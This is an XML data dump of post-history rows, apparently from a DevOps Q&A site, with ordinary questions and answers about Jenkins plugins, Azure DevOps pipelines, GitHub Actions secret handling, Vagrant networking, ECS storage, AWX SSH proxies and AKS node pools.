  <row Id="35949" PostHistoryTypeId="2" PostId="11745" RevisionGUID="d7357c6d-9607-49e2-b892-4501ed436a6a" CreationDate="2020-06-01T15:31:17.833" UserId="17329" Text="Which tool should I be using in order to be able to control Jenkins plugins from a cli/script in such way that when I have a new installation (e.g. 2.164.3) I can safely type blueocean - 1.1.15 (older version then current for example) and it will download the deps for the given version without messing everything else? From what I see I shouldn't be using jenkins-cli, but https://github.com/jenkinsci/plugin-installation-manager-tool? If so can anyone provide a simple example for the scenario I have given as the documentation is short of simple/clear examples. The already existing topics are not answering the question in 2020 and I can't solve my scenario with them." ContentLicense="CC BY-SA 4.0" />
  <row Id="35950" PostHistoryTypeId="1" PostId="11745" RevisionGUID="d7357c6d-9607-49e2-b892-4501ed436a6a" CreationDate="2020-06-01T15:31:17.833" UserId="17329" Text="Jenkins 2.164.3 - programmable plugins installations for specific versions" ContentLicense="CC BY-SA 4.0" />
  <row Id="35951" PostHistoryTypeId="3" PostId="11745" RevisionGUID="d7357c6d-9607-49e2-b892-4501ed436a6a" CreationDate="2020-06-01T15:31:17.833" UserId="17329" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35952" PostHistoryTypeId="2" PostId="11746" RevisionGUID="e9e4ac40-f19e-4e46-81e5-bd9d8e36f4d1" CreationDate="2020-06-01T15:52:08.407" UserId="22538" Text="  I was wondering if someone has ran into this problem as I have tried everything to fix. I have a DevOps build pipeline in Azure running visual studio 2015 version (which matches my local machine) and I am running into this error&#xD;&#xA; &#xD;&#xA;**Error MSB4226: The imported project &quot;C:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\MSBuild\Microsoft\VisualStudio\v14.0\WebApplications\Microsoft.WebApplication.targets&quot; was not found**&#xD;&#xA;&#xD;&#xA;It builds perfectly fine on my machine. I have no idea why I cannot get this to build fine on DevOps.. and I haven't seen many questions about it. I  went ahead and changed the vb.proj file to reflect the following and it still did not work &#xD;&#xA;```  &lt;PropertyGroup&gt;&#xD;&#xA;    &lt;VisualStudioVersion Condition=&quot;'$(VisualStudioVersion)' == ''&quot;&gt;14.0&lt;/VisualStudioVersion&gt;&#xD;&#xA;    &lt;!--Add the below line to fix the project loading in VS 2017 --&gt;&#xD;&#xA;    &lt;VSToolsPath Condition=&quot;'$(VSToolsPath)' == ''&quot;&gt;$(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion)&lt;/VSToolsPath&gt;&#xD;&#xA;    &lt;!--End --&gt;&#xD;&#xA;  &lt;/PropertyGroup&gt;&#xD;&#xA;  &lt;Import Project=&quot;$(MSBuildBinPath)\Microsoft.VisualBasic.targets&quot; /&gt;&#xD;&#xA;  &lt;Import Project=&quot;$(VSToolsPath)\WebApplications\Microsoft.WebApplication.targets&quot; Condition=&quot;'$(VSToolsPath)' != ''&quot; /&gt;&#xD;&#xA;  &lt;Import Project=&quot;$(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v14.0\WebApplications\Microsoft.WebApplication.targets&quot; Condition=&quot;false&quot; /&gt;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35953" PostHistoryTypeId="1" PostId="11746" RevisionGUID="e9e4ac40-f19e-4e46-81e5-bd9d8e36f4d1" CreationDate="2020-06-01T15:52:08.407" UserId="22538" Text="Error MSB4226: Microsoft.WebApplication.targets&quot; was not found" ContentLicense="CC BY-SA 4.0" />
  <row Id="35954" PostHistoryTypeId="3" PostId="11746" RevisionGUID="e9e4ac40-f19e-4e46-81e5-bd9d8e36f4d1" CreationDate="2020-06-01T15:52:08.407" UserId="22538" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35955" PostHistoryTypeId="2" PostId="11747" RevisionGUID="9183a0c0-ddc6-46d2-8542-da966522e633" CreationDate="2020-06-01T15:54:00.927" UserId="22539" Text="I have a visual studio database project being built and released through Azure DevOps.&#xD;&#xA;&#xD;&#xA;I need to execute a different post deployment for Dev vs. Prod.&#xD;&#xA;&#xD;&#xA;Is there a way to achieve this either through the release pipeline or the visual studio project?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35956" PostHistoryTypeId="1" PostId="11747" RevisionGUID="9183a0c0-ddc6-46d2-8542-da966522e633" CreationDate="2020-06-01T15:54:00.927" UserId="22539" Text="Azure DevOps Different Post Deployment script per environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="35957" PostHistoryTypeId="3" PostId="11747" RevisionGUID="9183a0c0-ddc6-46d2-8542-da966522e633" CreationDate="2020-06-01T15:54:00.927" UserId="22539" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;&lt;sql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35963" PostHistoryTypeId="2" PostId="11749" RevisionGUID="75d1f5e2-9279-4574-883e-0a262b6daf39" CreationDate="2020-06-01T16:46:19.623" UserId="3083" Text="I'm writing a CI pipeline using GitHub Actions.&#xD;&#xA;&#xD;&#xA;The pipeline will build a Docker image, which it will then push to our Docker repository ([AWS ECR][1]).&#xD;&#xA;&#xD;&#xA;In order to talk to ECR, we'll need to provide a secret (and some other details).&#xD;&#xA;&#xD;&#xA;That secret we'll be pulling from [Hashicorp Vault][2]... though that itself requires a secret in order to access it, so to some extent we're just offsetting the problem.&#xD;&#xA;&#xD;&#xA;The pipeline's code is in the same repository as the code for which it is run (to which our developers have access); though we can hold some actions called by this code in a separate repository (to which only our DevOps team have access) if needed.&#xD;&#xA;&#xD;&#xA;Whilst we trust our developers, it's generally good practice to keep things locked down where possible.  As such, is there any way we can set things up such that developers can amend the pipeline without being able to (deliberately or otherwise) expose these secrets?  Are there any best practices around this sort of thing?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/marketplace/actions/aws-ecr&#xD;&#xA;  [2]: https://github.com/marketplace/actions/vault-secrets#authentication-method" ContentLicense="CC BY-SA 4.0" />
  <row Id="35964" PostHistoryTypeId="1" PostId="11749" RevisionGUID="75d1f5e2-9279-4574-883e-0a262b6daf39" CreationDate="2020-06-01T16:46:19.623" UserId="3083" Text="How to protect secrets whilst enabling the ability to amend a pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="35965" PostHistoryTypeId="3" PostId="11749" RevisionGUID="75d1f5e2-9279-4574-883e-0a262b6daf39" CreationDate="2020-06-01T16:46:19.623" UserId="3083" Text="&lt;security&gt;&lt;github&gt;&lt;hashicorp-vault&gt;&lt;secret-management&gt;&lt;aws-ecr&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35976" PostHistoryTypeId="2" PostId="11751" RevisionGUID="eb7b307d-c55f-422f-b241-d70ae4c9e910" CreationDate="2020-06-02T07:27:06.247" UserId="13379" Text="Why not use plugin-installation mgr tool?&#xD;&#xA;&#xD;&#xA;Your alternative would be the [install-plugins.sh](https://github.com/jenkinsci/docker/blo[b/master/install-plugins.sh) referenced in the tool readme.md. You can explicitly list all plugins and versions or let it auto-reslove dependencies.&#xD;&#xA;&#xD;&#xA;See also answer in S/O re:[Jenkins plugins for old versions](https://stackoverflow.com/a/60336214/598141)." ContentLicense="CC BY-SA 4.0" />
  <row Id="35985" PostHistoryTypeId="2" PostId="11755" RevisionGUID="9993b5a7-9024-4453-852f-b6f5810039d5" CreationDate="2020-06-02T16:51:09.810" UserId="22517" Text="You can add an entry in your ini file to set the sort_order for the callback plugin to none. &#xD;&#xA;&#xD;&#xA;    [callback_profile_tasks]&#xD;&#xA;    sort_order = none&#xD;&#xA;&#xD;&#xA;By default it is set to descending, which is why the tasks are displayed in decreasing order of time taken.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Refer: https://docs.ansible.com/ansible/latest/plugins/callback/profile_tasks.html#parameter-sort_order" ContentLicense="CC BY-SA 4.0" />
  <row Id="35987" PostHistoryTypeId="2" PostId="11756" RevisionGUID="abe65ea6-7878-4f95-864e-b2b4b4fb70a2" CreationDate="2020-06-02T20:05:46.623" UserId="22565" Text="I have a problem with vagrant that is running on windows 10 when I deploy centos 8 machines all the machines have eth0 with the same Ip and they cannot communicate with each other &#xD;&#xA;&#xD;&#xA;the ip 10.0.2.15 is always present. this is the vagrant file: &#xD;&#xA;&#xD;&#xA;    Vagrant.configure(&quot;2&quot;) do |config|&#xD;&#xA;      # The most common configuration options are documented and commented below.&#xD;&#xA;      # For a complete reference, please see the online documentation at&#xD;&#xA;      # https://docs.vagrantup.com.&#xD;&#xA;    &#xD;&#xA;      # Every Vagrant development environment requires a box. You can search for&#xD;&#xA;      # boxes at https://vagrantcloud.com/search.&#xD;&#xA;      config.vm.define &quot;ansible&quot; do |ansible|&#xD;&#xA;        ansible.vm.box = &quot;bento/centos-8.1&quot;&#xD;&#xA;        ansible.vm.hostname = &quot;ansible&quot;&#xD;&#xA;        ansible.vm.network &quot;private_network&quot;, ip: &quot;10.0.2.10&quot;&#xD;&#xA;      end&#xD;&#xA;    &#xD;&#xA;      config.vm.define &quot;ldap&quot; do |ldap|&#xD;&#xA;        ldap.vm.box = &quot;bento/centos-8.1&quot;&#xD;&#xA;        ldap.vm.hostname = &quot;ldap&quot;&#xD;&#xA;        ldap.vm.network &quot;private_network&quot;, ip: &quot;10.0.2.100&quot;&#xD;&#xA;      end&#xD;&#xA;&#xD;&#xA;and this is the ip configuration on the first machine; &#xD;&#xA;&#xD;&#xA;    [vagrant@ansible ~]$ ip a&#xD;&#xA;    1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&#xD;&#xA;        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xD;&#xA;        inet 127.0.0.1/8 scope host lo&#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;        inet6 ::1/128 scope host&#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;    2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&#xD;&#xA;        link/ether 52:54:00:72:fe:6e brd ff:ff:ff:ff:ff:ff&#xD;&#xA;        inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0&#xD;&#xA;           valid_lft 86077sec preferred_lft 86077sec&#xD;&#xA;        inet6 fe80::5054:ff:fe72:fe6e/64 scope link&#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;    3: eth1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&#xD;&#xA;        link/ether 08:00:27:91:b2:04 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;        inet 10.0.2.10/24 brd 10.0.2.255 scope global noprefixroute eth1&#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;        inet6 fe80::a00:27ff:fe91:b204/64 scope link&#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;&#xD;&#xA;    [vagrant@ansible ~]$ ip route show&#xD;&#xA;    default via 10.0.2.2 dev eth0 proto dhcp metric 100&#xD;&#xA;    10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100&#xD;&#xA;    10.0.2.0/24 dev eth1 proto kernel scope link src 10.0.2.10 metric 101&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;is it getting eth0 by dhcp? and then assigning the ip i want to eth1? is there something i can do with virtualbox configuration on windows? &#xD;&#xA;&#xD;&#xA;i need both machines to see each other &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35988" PostHistoryTypeId="1" PostId="11756" RevisionGUID="abe65ea6-7878-4f95-864e-b2b4b4fb70a2" CreationDate="2020-06-02T20:05:46.623" UserId="22565" Text="vagrant on windows 10 incorrect network configuration on multi-machine setup" ContentLicense="CC BY-SA 4.0" />
  <row Id="35989" PostHistoryTypeId="3" PostId="11756" RevisionGUID="abe65ea6-7878-4f95-864e-b2b4b4fb70a2" CreationDate="2020-06-02T20:05:46.623" UserId="22565" Text="&lt;windows&gt;&lt;vagrant&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35990" PostHistoryTypeId="5" PostId="11519" RevisionGUID="d268b1f5-62fe-4481-a5b6-9b3f8e59b8ae" CreationDate="2020-06-02T20:31:17.573" UserId="9938" Comment="added &quot;post&quot; example, because it uses another syntax than &quot;stages&quot;; added another one &quot;stage&quot; to demonstrate syntax &quot;when … allOf&quot;" Text="My workaround looks like this:&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;pipeline {&#xD;&#xA;    parameters {&#xD;&#xA;        booleanParam(name: 'skip_all_steps', defaultValue: false, description: 'When changed parameters in pipeline, just update code from git')&#xD;&#xA;    }&#xD;&#xA;    stages {&#xD;&#xA;        stage('Stage1'){&#xD;&#xA;            when { not { expression { return params.skip_all_steps } } }&#xD;&#xA;            steps {&#xD;&#xA;                …&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('Install requirements') {&#xD;&#xA;            when {&#xD;&#xA;                allOf {&#xD;&#xA;                    expression { return params.install_django_requirements }&#xD;&#xA;                    not { expression { return params.skip_all_steps } }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            steps {&#xD;&#xA;                sh 'pip3 install --upgrade --user -r src-django/requirements.txt'&#xD;&#xA;                }&#xD;&#xA;        }&#xD;&#xA;        …&#xD;&#xA;    }&#xD;&#xA;    post {&#xD;&#xA;        success {&#xD;&#xA;            script {&#xD;&#xA;                if (!params.skip_all_steps.toBoolean() &amp;&amp; params.workspace_cleanup.toBoolean()) {&#xD;&#xA;                    cleanWs()&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Be careful:&#xD;&#xA;&#xD;&#xA;* parameters in Jenkins UI will be updated only after **successful** build,&#xD;&#xA;* maybe it is better idea to use `defaultValue: true` for `skip_all_steps` in your particular case (for example, to avoid running any step on first build)" ContentLicense="CC BY-SA 4.0" />
  <row Id="35991" PostHistoryTypeId="2" PostId="11757" RevisionGUID="b7e4d7dd-516f-47b5-99e2-5ca859fb392a" CreationDate="2020-06-02T20:37:22.873" UserId="22567" Text="I have a build pipeline already configured using a .yml file. I transferred the repository over to a different organization on GitHub, added all of the necessary Azure Pipelines integrations and permissions in GitHub, and added the service connection to Azure Devops.&#xD;&#xA;&#xD;&#xA;Now, when I go to run my pipeline I get the error: `Service connection {id} not found in the project {projectId}`&#xD;&#xA;&#xD;&#xA;This is true. I don't want it to use the old service connection. I want to tell Azure DevOps to use the new one. How do I change this?&#xD;&#xA;&#xD;&#xA;The only workaround I can find is to create a new pipeline. Fortunately, this links right up with GitHub and I don't have to rewrite the yaml. Unfortunately, I'd have to plugin all the pipeline variables again." ContentLicense="CC BY-SA 4.0" />
  <row Id="35992" PostHistoryTypeId="1" PostId="11757" RevisionGUID="b7e4d7dd-516f-47b5-99e2-5ca859fb392a" CreationDate="2020-06-02T20:37:22.873" UserId="22567" Text="Azure DevOps - How Do I Change the Service Connection for a Build Pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="35993" PostHistoryTypeId="3" PostId="11757" RevisionGUID="b7e4d7dd-516f-47b5-99e2-5ca859fb392a" CreationDate="2020-06-02T20:37:22.873" UserId="22567" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35994" PostHistoryTypeId="2" PostId="11758" RevisionGUID="e566e626-3098-415e-8c4a-1a61c334d110" CreationDate="2020-06-02T20:40:31.730" UserId="22537" Text="Why am I not allowed to create a bug?&#xD;&#xA;I am the project administrator.[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Mx2Op.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="35995" PostHistoryTypeId="1" PostId="11758" RevisionGUID="e566e626-3098-415e-8c4a-1a61c334d110" CreationDate="2020-06-02T20:40:31.730" UserId="22537" Text="Why can't I create a BUG?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35996" PostHistoryTypeId="3" PostId="11758" RevisionGUID="e566e626-3098-415e-8c4a-1a61c334d110" CreationDate="2020-06-02T20:40:31.730" UserId="22537" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35997" PostHistoryTypeId="5" PostId="11751" RevisionGUID="4815426b-9858-4c22-9cce-252f9c8c07fe" CreationDate="2020-06-02T20:43:11.497" UserId="9938" Comment="Fixed link + added link to Plugin Installation Manager Tool + fixed typo" Text="Why not use [Plugin installation manager tool](https://github.com/jenkinsci/plugin-installation-manager-tool)?&#xD;&#xA;&#xD;&#xA;Your alternative would be the [install-plugins.sh](https://github.com/jenkinsci/docker/blob/master/install-plugins.sh) referenced in the tool readme.md. You can explicitly list all plugins and versions or let it auto-resolve dependencies.&#xD;&#xA;&#xD;&#xA;See also answer in S/O re:[Jenkins plugins for old versions](https://stackoverflow.com/a/60336214/598141)." ContentLicense="CC BY-SA 4.0" />
  <row Id="35998" PostHistoryTypeId="24" PostId="11751" RevisionGUID="4815426b-9858-4c22-9cce-252f9c8c07fe" CreationDate="2020-06-02T20:43:11.497" Comment="Proposed by 9938 approved by 40 edit id of 1212" ContentLicense="CC BY-SA 4.0" />
  <row Id="36000" PostHistoryTypeId="2" PostId="11759" RevisionGUID="16b5bbd0-4480-4659-b26d-9eee1f763f91" CreationDate="2020-06-03T01:20:32.703" UserId="19963" Text="Developers or even admins of your GitHub repository wouldn't be able to see secrets configured there by default. Even if you debug GitHub Actions workflows and accidentally log secrets, GitHub would mark them with ***.&#xD;&#xA;&#xD;&#xA;So the only attack vector I can think of is highly deliberate and it would require modifying GitHub Actions workflow code and egressing the secret outside to some pre-configured recipient on the Internet.&#xD;&#xA;&#xD;&#xA;If you're worried about such attack vector beyond regular code reviews, you may try exploring CODEOWNERS as a way to protect .github directory - https://help.github.com/en/github/creating-cloning-and-archiving-repositories/about-code-owners. " ContentLicense="CC BY-SA 4.0" />
  <row Id="36002" PostHistoryTypeId="10" PostId="11758" RevisionGUID="64f8a0a5-c975-49d2-8ed9-ca5ff1d2074d" CreationDate="2020-06-03T05:01:18.210" UserId="40" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[11744],&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="36003" PostHistoryTypeId="2" PostId="11760" RevisionGUID="fffe946e-e138-4108-88de-c169832e1fba" CreationDate="2020-06-03T06:59:43.503" UserId="22570" Text="I am running jenkinsci/blueocean docker locally as per the instructions of running jenkins using a docker on jenkins.io. Everything seems to be working correctly but when I docker exec into the docker I can't use sudo and i cant create a home directory for the jenkins user with an .ssh directory. There seems to be apk package manager but if this functionality is not out of the box it makes me wonder if I am doing this wrong.&#xD;&#xA;&#xD;&#xA;Does anyone have any experience setting up a basic ssh config on this docker image? " ContentLicense="CC BY-SA 4.0" />
  <row Id="36004" PostHistoryTypeId="1" PostId="11760" RevisionGUID="fffe946e-e138-4108-88de-c169832e1fba" CreationDate="2020-06-03T06:59:43.503" UserId="22570" Text="How do I setup ssh from jenkinsci/blueocean docker to remote?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36005" PostHistoryTypeId="3" PostId="11760" RevisionGUID="fffe946e-e138-4108-88de-c169832e1fba" CreationDate="2020-06-03T06:59:43.503" UserId="22570" Text="&lt;docker&gt;&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36006" PostHistoryTypeId="2" PostId="11761" RevisionGUID="49efd84a-3162-47c0-8cfb-ec76eada1522" CreationDate="2020-06-03T07:14:56.473" UserId="354" Text="You can run an ssh server in the container as the `ENTRYPOINT`. It can either be started in the foreground : &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ENTRYPOINT [&quot;/usr/sbin/sshd&quot;, &quot;-D&quot;,&quot;-p&quot;,&quot;22&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Ensure that you have `openssh` installed and host keys setup.&#xD;&#xA;&#xD;&#xA;Perhaps [this Ansible role](https://github.com/AAROC/CODE-RADE-container) would be illustrative" ContentLicense="CC BY-SA 4.0" />
  <row Id="36007" PostHistoryTypeId="5" PostId="11760" RevisionGUID="e343945a-1e20-4717-aac2-384c72cd534b" CreationDate="2020-06-03T07:16:24.000" UserId="354" Comment="minor grammar and formatting" Text="I am running `jenkinsci/blueocean` docker locally as per the instructions of running jenkins using a docker on jenkins.io. Everything seems to be working correctly but when I docker exec into the docker, I can't use sudo and I cant create a home directory for the jenkins user with an .ssh directory.&#xD;&#xA;&#xD;&#xA;There seems to be apk package manager but if this functionality is not out of the box it makes me wonder if I am doing this wrong.&#xD;&#xA;&#xD;&#xA;Does anyone have any experience setting up a basic ssh config on this docker image? " ContentLicense="CC BY-SA 4.0" />
  <row Id="36008" PostHistoryTypeId="5" PostId="11745" RevisionGUID="956bacbf-a83f-4d4f-a16a-58563573860e" CreationDate="2020-06-03T07:22:53.863" UserId="9938" Comment="Fixed style, added clarifications and newlines; Tags: change to jenkins-plugin" Text="Which tool should I be using in order to be able to control Jenkins plugins from a cli/script in such way that when I have a new installation (e.g. 2.164.3)?&#xD;&#xA;&#xD;&#xA;For example, I want to type blueocean - 1.1.15 (older version then current for example) and it will download the dependencies for the given version without messing everything else?&#xD;&#xA;&#xD;&#xA;As I see I shouldn't be using jenkins-cli, but https://github.com/jenkinsci/plugin-installation-manager-tool? If so can anyone provide a simple example for the scenario I have given as the documentation is short of simple/clear examples.&#xD;&#xA;&#xD;&#xA;The already existing topics are not answering the question in 2020 and I can't solve my scenario with them." ContentLicense="CC BY-SA 4.0" />
  <row Id="36009" PostHistoryTypeId="6" PostId="11745" RevisionGUID="956bacbf-a83f-4d4f-a16a-58563573860e" CreationDate="2020-06-03T07:22:53.863" UserId="9938" Comment="Fixed style, added clarifications and newlines; Tags: change to jenkins-plugin" Text="&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36010" PostHistoryTypeId="24" PostId="11745" RevisionGUID="956bacbf-a83f-4d4f-a16a-58563573860e" CreationDate="2020-06-03T07:22:53.863" Comment="Proposed by 9938 approved by 17329 edit id of 1213" ContentLicense="CC BY-SA 4.0" />
  <row Id="36011" PostHistoryTypeId="50" PostId="11436" RevisionGUID="97c88c36-aac4-4d83-818c-ad22a6343436" CreationDate="2020-06-03T13:06:40.663" UserId="-1" />
  <row Id="36012" PostHistoryTypeId="2" PostId="11762" RevisionGUID="d6fa186b-a4d3-44a2-8fc8-f91d306a1a75" CreationDate="2020-06-03T13:13:49.107" UserId="19083" Text="I have an application which uses SQLite database and want to migrate it to AWS ECS service. It's dockerized and have access to DB file via mounted volume.&#xD;&#xA;&#xD;&#xA;Is there a way to make this work with ECS? (I cannot use EBS as my launch type is `Fargate`). Should I go with something like [EFS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/efs-volumes.html) or just get rid of SQLite altogether?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36013" PostHistoryTypeId="1" PostId="11762" RevisionGUID="d6fa186b-a4d3-44a2-8fc8-f91d306a1a75" CreationDate="2020-06-03T13:13:49.107" UserId="19083" Text="Use Sqlite database on ECS" ContentLicense="CC BY-SA 4.0" />
  <row Id="36014" PostHistoryTypeId="3" PostId="11762" RevisionGUID="d6fa186b-a4d3-44a2-8fc8-f91d306a1a75" CreationDate="2020-06-03T13:13:49.107" UserId="19083" Text="&lt;amazon-web-services&gt;&lt;fargate&gt;&lt;ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36015" PostHistoryTypeId="34" PostId="11661" RevisionGUID="7dd67292-4865-4186-8e3e-591a48eea98e" CreationDate="2020-06-03T22:48:17.823" UserId="11995" Comment="56" />
  <row Id="36016" PostHistoryTypeId="2" PostId="11763" RevisionGUID="f8ad2196-806d-45a1-8feb-f25186cd49ef" CreationDate="2020-06-04T04:02:27.167" UserId="8251" Text="I have a processing server that processes requests in an SQS queue, only about 10 per day, each taking around 2 minutes to process.&#xD;&#xA;&#xD;&#xA;Sometimes the process gets &quot;stuck&quot; and it would be ideal to terminate the single server in the autoscaling group, but keep the autoscaling size to 1, as the problem is often resolved with a fresh server created by autoscaling.&#xD;&#xA;&#xD;&#xA;Can this be done with autoscaling configuration alone, or do I need to create a separate process with step or lambda functions?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36017" PostHistoryTypeId="1" PostId="11763" RevisionGUID="f8ad2196-806d-45a1-8feb-f25186cd49ef" CreationDate="2020-06-04T04:02:27.167" UserId="8251" Text="Terminate single processing server based on SQS queue condition, but keep/ reinstate autoscaling size at 1" ContentLicense="CC BY-SA 4.0" />
  <row Id="36018" PostHistoryTypeId="3" PostId="11763" RevisionGUID="f8ad2196-806d-45a1-8feb-f25186cd49ef" CreationDate="2020-06-04T04:02:27.167" UserId="8251" Text="&lt;autoscaling&gt;&lt;amazon-sqs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36019" PostHistoryTypeId="5" PostId="5220" RevisionGUID="140c0908-7aa4-407b-9cd5-b45d55d1819b" CreationDate="2020-06-04T05:19:53.207" UserId="22373" Comment="Removed unnecessary words" Text="I'm running ansible 2.6.2 and awx 1.0.7.2 on rhel 7.5. AWX is connecting to my ssh proxy as root instead of the defined Credential user.&#xD;&#xA;&#xD;&#xA;My playbook contains the following&#xD;&#xA;&#xD;&#xA;    become: yes&#xD;&#xA;    become_method: sudo&#xD;&#xA;    remote_user: remoteuser&#xD;&#xA;    ansible_user: remoteuser&#xD;&#xA;&#xD;&#xA;ssh.config in my playbook contain the following&#xD;&#xA;&#xD;&#xA;    match host !proxyA,!proxyB,* exec &quot;ssh proxyA nc -w1 %h %p &amp;&gt;/dev/null&#xD;&#xA;      ProxyJump proxyA&#xD;&#xA;    match host !proxyA,!proxyB,* exec &quot;ssh proxyB nc -w1 %h %p &amp;&gt;/dev/null&#xD;&#xA;      ProxyJump proxyB&#xD;&#xA;&#xD;&#xA;My AWX credential user which uses an ssh key and associated with the AWX JOB Template is this (which should be used for ssh connections):  remoteuser&#xD;&#xA;&#xD;&#xA;I have no defined entries in /etc/ansible/ansible.cfg or any ansible.cfg defined in the current working directory (of the playbook) or in $HOME.&#xD;&#xA;&#xD;&#xA;Here is the proxyA/B syslog entries showing the user that AWX is connecting as:&#xD;&#xA;&#xD;&#xA;  sshd: Failed publickey fro root from 1.2.3.4&#xD;&#xA;&#xD;&#xA;And here is the AWX ansible output showing the connection as 'root' instead of the 'remoteuser'&#xD;&#xA;&#xD;&#xA;  root@proxyA's password: root@proxyA's password:  root@proxyA's password:&#xD;&#xA;&#xD;&#xA;I can run the playbook through ansible (outside of AWX) without errors. &#xD;&#xA;&#xD;&#xA;How do I tell AWX to use the right user name?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36020" PostHistoryTypeId="24" PostId="5220" RevisionGUID="140c0908-7aa4-407b-9cd5-b45d55d1819b" CreationDate="2020-06-04T05:19:53.207" Comment="Proposed by 22373 approved by 40 edit id of 1214" ContentLicense="CC BY-SA 4.0" />
  <row Id="36021" PostHistoryTypeId="2" PostId="11764" RevisionGUID="a7d57299-26c7-4fcd-aa02-3734ba6c656e" CreationDate="2020-06-04T06:29:07.343" UserId="19083" Text="Seems like EFS is now supported on Fargate&#xD;&#xA;&#xD;&#xA;* [Blog post](https://aws.amazon.com/blogs/aws/amazon-ecs-supports-efs/)&#xD;&#xA;* [Reference](https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_EFSVolumeConfiguration.html)" ContentLicense="CC BY-SA 4.0" />
  <row Id="36022" PostHistoryTypeId="2" PostId="11765" RevisionGUID="cf9ab856-acd4-4184-9ba2-c80910bc6f06" CreationDate="2020-06-04T07:30:19.783" UserId="18624" Text="I'm attempting to replace a node pool in Azure Kubernetes Service with a new pool (that has a larger VM size).  The current pool was deployed using an [ARM template](https://github.com/NickGraham101/dfc-devops/blob/58925ca008b4a80946840dec95d09b2d6d958327/ArmTemplates/aks.json) that uses version 2019-06-01 of the resource manager API.  As per the [Microsoft documentation](https://docs.microsoft.com/en-us/azure/aks/use-system-pools#delete-a-system-node-pool) I should be able to add a new System node pool and delete the original, default node pool.&#xD;&#xA;&#xD;&#xA;I can successfully deploy an additional node pool that has it's mode set to System using [this template](https://github.com/NickGraham101/dfc-devops/blob/e0a896afdbc6dbf1447986078930a4f391cac931/ArmTemplates/aks.json), that template uses version 2020-03-01 of the resource manager API so that I can set the mode of the new pool.&#xD;&#xA;&#xD;&#xA;When I attempt to delete the original, default node pool using `az aks nodepool delete -g gandt-testshared-rg --cluster-name gandt-testshared-aks -n agentpool` I get an error saying `Operation failed with status: 'Bad Request'. Details: The agent pool cannot be deleted because it is used as the backend address pool of the basic load balancer.`.  &#xD;&#xA;&#xD;&#xA;Why am I getting this error and what can I do to get the backend address pool of the basic load balancer to use the new node pool?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36023" PostHistoryTypeId="1" PostId="11765" RevisionGUID="cf9ab856-acd4-4184-9ba2-c80910bc6f06" CreationDate="2020-06-04T07:30:19.783" UserId="18624" Text="How do I delete a default AKS node pool when I get an error saying it's the &quot;backend address pool of the basic load balancer&quot;" ContentLicense="CC BY-SA 4.0" />
